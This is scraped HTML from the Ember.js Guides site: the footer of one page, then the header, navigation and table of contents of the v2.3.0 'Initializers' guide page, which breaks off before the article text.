5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember115815" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Initializers - Application Concerns - Ember Guides</title> <meta name="description" content="Initializers provide an opportunity to configure your application as it boots. There are two types of initializers: application initializers and application instance initializers. Application initializers are run as your application boots, and provide..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Initializers - Application Concerns - Ember Guides"> <!----> <meta property="og:description" content="Initializers provide an opportunity to configure your application as it boots. There are two types of initializers: application initializers and application instance initializers. Application initializers are run as your application boots, and provide..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Initializers - Application Concerns - Ember Guides"> <!----> <meta name="twitter:description" content="Initializers provide an opportunity to configure your application as it boots. There are two types of initializers: application initializers and application instance initializers. Application initializers are run as your application boots, and provide..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember106065" class="es-header ember-view" role="banner"><div id="ember106066" class="ember-view"><div class="container"> <nav id="ember106067" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember106068" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember106069" class="navbar-collapse collapse ember-view"><ul id="ember106070" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember106071" class="dropdown nav-item ember-view"> <a href="#" id="ember106072" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember106074" class="dropdown nav-item ember-view"> <a href="#" id="ember106075" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember106077" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember106078" class="dropdown nav-item ember-view"> <a href="#" id="ember106079" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember106081" class="dropdown nav-item ember-view"> <a href="#" id="ember106082" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember106084" class="nav navbar-nav ember-view"> <form> <div id="ember106085" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember106086" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember106087" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember106088" class="ember-basic-dropdown ember-view"> <div aria-label="v2.3.0" aria-owns="ember-basic-dropdown-content-ember106088" tabindex="0" data-ebd-id="ember106088-trigger" role="button" id="ember106089" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 2.3 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember106088" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember106093" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember106096" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/getting-started" id="ember106097" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember106098" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106100" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/tutorial" id="ember106101" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember106102" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106104" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/object-model" id="ember106105" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember106106" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106108" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/routing" id="ember106109" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember106110" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106112" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/templates" id="ember106113" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember106114" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106116" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/components" id="ember106117" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember106118" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div 